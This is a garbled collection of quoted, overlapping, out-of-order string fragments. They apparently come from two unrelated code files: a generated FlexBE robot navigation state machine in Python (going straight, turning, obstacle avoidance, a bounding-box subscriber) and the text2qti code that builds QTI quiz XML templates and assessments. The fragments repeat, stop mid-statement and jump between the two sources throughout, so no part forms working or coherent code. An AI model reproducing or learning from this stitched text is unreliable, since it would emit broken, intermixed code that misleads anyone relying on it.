flexbe_utility_states.MARCO", "self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit})", "Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger from flexbe_states.wait_state import WaitState", "added inside the following tags # [MANUAL_INIT] # [/MANUAL_INIT] #", "inside the [MANUAL] tags will be kept. # ########################################################### from", "Additional imports can be added inside the following tags #", "flexbe_navigation_states.turn_left_sm import turn_leftSM from flexbe_navigation_states.go_straight_sm import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import", "'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left': Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value':", "import WaitState from flexbe_navigation_states.turn_right_sm import turn_rightSM from flexbe_states.subscriber_state import SubscriberState", "the [MANUAL] tags will be kept. # ########################################################### from flexbe_core", "# -*- coding: utf-8 -*- ########################################################### # WARNING: Generated code!", "'go_straight_3'), transitions={'finished': 'turn_right', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) #", "Obstacle_AvoidanceSM # Additional imports can be added inside the following", "'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:906 y:276", "Logger from flexbe_states.wait_state import WaitState from flexbe_navigation_states.turn_right_sm import turn_rightSM from", "'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM,", "Autonomy.Off}, remapping={'input_value': 'detected', 'Distance': 'Distance'}) # x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1),", "'failed': Autonomy.Inherit}) # x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2',", "autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) return _state_machine # Private functions can", "########################################################### # WARNING: Generated code! # # ************************** # #", "Jul 18 2020 @author: TG4 ''' class NavigationSM(Behavior): ''' Integrated", "18 2020 @author: TG4 ''' class NavigationSM(Behavior): ''' Integrated behaviour", "'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM,", "Autonomy.Inherit}) # x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2', 'failed':", "self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional initialization code can be added inside", "# [/MANUAL_IMPORT] ''' Created on Sat Jul 18 2020 @author:", "the following tags # [MANUAL_INIT] # [/MANUAL_INIT] # Behavior comments:", "OperatableStateMachine(outcomes=['finished', 'failed']) # Additional creation code can be added inside", "OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed':", "NavigationSM(Behavior): ''' Integrated behaviour ''' def __init__(self): super(NavigationSM, self).__init__() self.name", "be added inside the following tags # [MANUAL_FUNC] # [/MANUAL_FUNC]", "########################################################### from flexbe_core import Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger", "from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM # Additional imports can be added", "again. # # Only code inside the [MANUAL] tags will", "code can be added inside the following tags # [MANUAL_INIT]", "Autonomy.Inherit}) # x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed':", "'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:55 y:196", "#!/usr/bin/env python # -*- coding: utf-8 -*- ########################################################### # WARNING:", "y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit,", "turn_rightSM from flexbe_states.subscriber_state import SubscriberState from flexbe_utility_states.MARCO import Carbonara from", "import Obstacle_AvoidanceSM # Additional imports can be added inside the", "y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit,", "# Only code inside the [MANUAL] tags will be kept.", "= 'Navigation' # parameters of this behavior # references to", "x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off}) # x:958", "Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger from flexbe_states.wait_state import WaitState from", "'detected'}) # x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance',", "following tags # [MANUAL_IMPORT] # [/MANUAL_IMPORT] ''' Created on Sat", "x:1683 y:419, x:605 y:337 _state_machine = OperatableStateMachine(outcomes=['finished', 'failed']) # Additional", "x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off}) # x:1161", "self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance')", "OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done': Autonomy.Off}) # x:1090 y:488 OperatableStateMachine.add('turn_right',", "y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit,", "behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM,", "# # Manual changes may get lost if file is", "'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM,", "'failed']) # Additional creation code can be added inside the", "inside the following tags # [MANUAL_CREATE] # [/MANUAL_CREATE] with _state_machine:", "following tags # [MANUAL_INIT] # [/MANUAL_INIT] # Behavior comments: def", "flexbe_core import Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger from flexbe_states.wait_state", "import Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger from flexbe_states.wait_state import", "Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished':", "y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit,", "Autonomy.Off}) # x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2', 'failed':", "from flexbe_navigation_states.go_straight_sm import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM # Additional", "flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM # Additional imports can be added inside", "'Left': 'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left': Autonomy.Off,", "can be added inside the following tags # [MANUAL_INIT] #", "self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit})", "flexbe_navigation_states.go_straight_sm import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM # Additional imports", "lost if file is generated again. # # Only code", "x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left', 'failed': 'failed'}, autonomy={'finished':", "[MANUAL] tags will be kept. # ########################################################### from flexbe_core import", "-*- ########################################################### # WARNING: Generated code! # # ************************** #", "'Right': Autonomy.Off}, remapping={'input_value': 'detected', 'Distance': 'Distance'}) # x:1180 y:246 OperatableStateMachine.add('w2',", "Behavior comments: def create(self): # x:1683 y:419, x:605 y:337 _state_machine", "# x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off}) #", "= OperatableStateMachine(outcomes=['finished', 'failed']) # Additional creation code can be added", "autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True,", "# Private functions can be added inside the following tags", "import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM # Additional imports can", "x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2',", "tags # [MANUAL_INIT] # [/MANUAL_INIT] # Behavior comments: def create(self):", "'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off,", "'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM,", "flexbe_navigation_states.turn_right_sm import turn_rightSM from flexbe_states.subscriber_state import SubscriberState from flexbe_utility_states.MARCO import", "y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done': Autonomy.Off}) # x:1090 y:488", "remapping={'input_value': 'detected', 'Distance': 'Distance'}) # x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done':", "import SubscriberState from flexbe_utility_states.MARCO import Carbonara from flexbe_navigation_states.turn_left_sm import turn_leftSM", "'turn_right', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:381 y:495", "''' Integrated behaviour ''' def __init__(self): super(NavigationSM, self).__init__() self.name =", "'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle':", "Integrated behaviour ''' def __init__(self): super(NavigationSM, self).__init__() self.name = 'Navigation'", "'failed': Autonomy.Inherit}) # x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1',", "_state_machine = OperatableStateMachine(outcomes=['finished', 'failed']) # Additional creation code can be", "coding: utf-8 -*- ########################################################### # WARNING: Generated code! # #", "'Obstacle_Avoidance') # Additional initialization code can be added inside the", "'unavailable': 'w1'}, autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message': 'detected'}) # x:286", "transitions={'finished': 's1', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) return _state_machine", "__init__(self): super(NavigationSM, self).__init__() self.name = 'Navigation' # parameters of this", "the following tags # [MANUAL_CREATE] # [/MANUAL_CREATE] with _state_machine: #", "'s1', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) return _state_machine #", "[MANUAL_INIT] # [/MANUAL_INIT] # Behavior comments: def create(self): # x:1683", "'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance',", "'Distance'}) # x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off})", "ConcurrencyContainer, PriorityContainer, Logger from flexbe_states.wait_state import WaitState from flexbe_navigation_states.turn_right_sm import", "'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional initialization", "[/MANUAL_IMPORT] ''' Created on Sat Jul 18 2020 @author: TG4", "WARNING: Generated code! # # ************************** # # Manual changes", "with _state_machine: # x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done':", "autonomy={'done': Autonomy.Off}) # x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done':", "be kept. # ########################################################### from flexbe_core import Behavior, Autonomy, OperatableStateMachine,", "code can be added inside the following tags # [MANUAL_CREATE]", "y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off}) # x:1161 y:64", "transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:906", "y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right':", "SubscriberState from flexbe_utility_states.MARCO import Carbonara from flexbe_navigation_states.turn_left_sm import turn_leftSM from", "autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'),", "'unavailable': Autonomy.Off}, remapping={'message': 'detected'}) # x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none':", "imports can be added inside the following tags # [MANUAL_IMPORT]", "''' Created on Sat Jul 18 2020 @author: TG4 '''", "# Manual changes may get lost if file is generated", "-*- coding: utf-8 -*- ########################################################### # WARNING: Generated code! #", "# [/MANUAL_CREATE] with _state_machine: # x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done':" ]
[ "for choice in question.choices: if choice.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}',", "= '''\\ </section> ''' TEXT = '''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\">", "question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is", "question.correct_feedback_raw is None: if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK", "All rights reserved. # # Licensed under the BSD 3-Clause", "<conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and>", "'''\\ <itemfeedback ident=\"general_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback>", "<mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback", "def assessment(*, quiz: Quiz, assessment_identifier: str, title_xml: str) -> str:", "text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick,", "# from .quiz import Quiz, Question, GroupStart, GroupEnd, TextRegion BEFORE_ITEMS", "rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD = '''\\ <presentation> <material>", "respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> '''", "c in question.choices) elif question.type == 'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM", "ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}' elif question.type == 'file_upload_question': item_metadata =", "question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError if question.type in", "</response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext>", "resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END)", "else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing)", "continue if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue if not isinstance(question_or_delim, Question):", "continue if not isinstance(question_or_delim, Question): raise TypeError question = question_or_delim", "ITEM_RESPROCESSING_END = '''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback ident=\"general_fb\">", "'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = f'text2qti_numerical_{question.id}' elif question.type ==", "<fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> <presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation>", "= '''\\ <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel>", "'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for", "feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar>", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY =", "if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim,", "<vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\"", "from Quiz. ''' xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim", "<presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\">", "= question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in ('true_false_question',", "{varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT =", "= '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar>", "ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition continue=\"No\"> <conditionvar> <other/> </conditionvar> </respcondition>", "</material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib> </response_str>", "= 'cc.multiple_choice.v0p1' elif question.type == 'true_false_question': typechange = 'cc.true_false.v0p1' elif", "question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif", "is None: raise TypeError resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw", "question.correct_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is not None:", "ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not> <varequal", "ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml,", "if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is None:", "ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar>", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition continue=\"Yes\">", "# -*- coding: utf-8 -*- # # Copyright (c) 2021,", "''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and>", "''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte", "ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar", "continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte>", "Quiz. ''' xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim in", "= ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}' elif question.type == 'file_upload_question': item_metadata", "question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'file_upload_question':", "''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition continue=\"No\"> <conditionvar>", "<response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices} </render_choice> </response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE", "elif question.type == 'essay_question': typechange = 'cc.essay.v0p1' else: typechange =", "ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD = '''\\ <presentation>", "('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}'", "title=title_xml)) for question_or_delim in quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml,", "ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile", "'multiple_answers_question': typechange = 'cc.multiple_response.v0p1' elif question.type == 'essay_question': typechange =", "<fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield>", "None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is not", "TEXT = '''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel>", "''' Generate assessment XML from Quiz. ''' xml = []", "is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = [] for choice in", "''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material>", "<conditionvar> <and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> '''", "question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK)", "encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata>", "= '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/>", "<mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> ''' ITEM_PRESENTATION_NUM = '''\\ <presentation> <material>", "</section> </assessment> </questestinterop> ''' GROUP_START = '''\\ <section ident=\"{ident}\" title=\"{group_title}\">", "choice.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}', feedback=choice.feedback_html_xml)) xml.append(END_ITEM) xml.append(AFTER_ITEMS) return ''.join(xml)", "ITEM_PRESENTATION_MCTF = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\"", "if not isinstance(question_or_delim, Question): raise TypeError question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}',", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition", "</presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext>", "if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct =", "'''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition>", "rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK =", "= ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition continue=\"No\"> <conditionvar> <other/> </conditionvar>", "#Type Change for Schoology CC Import if question.type == 'multiple_choice_question':", "</selection_ordering> ''' GROUP_END = '''\\ </section> ''' TEXT = 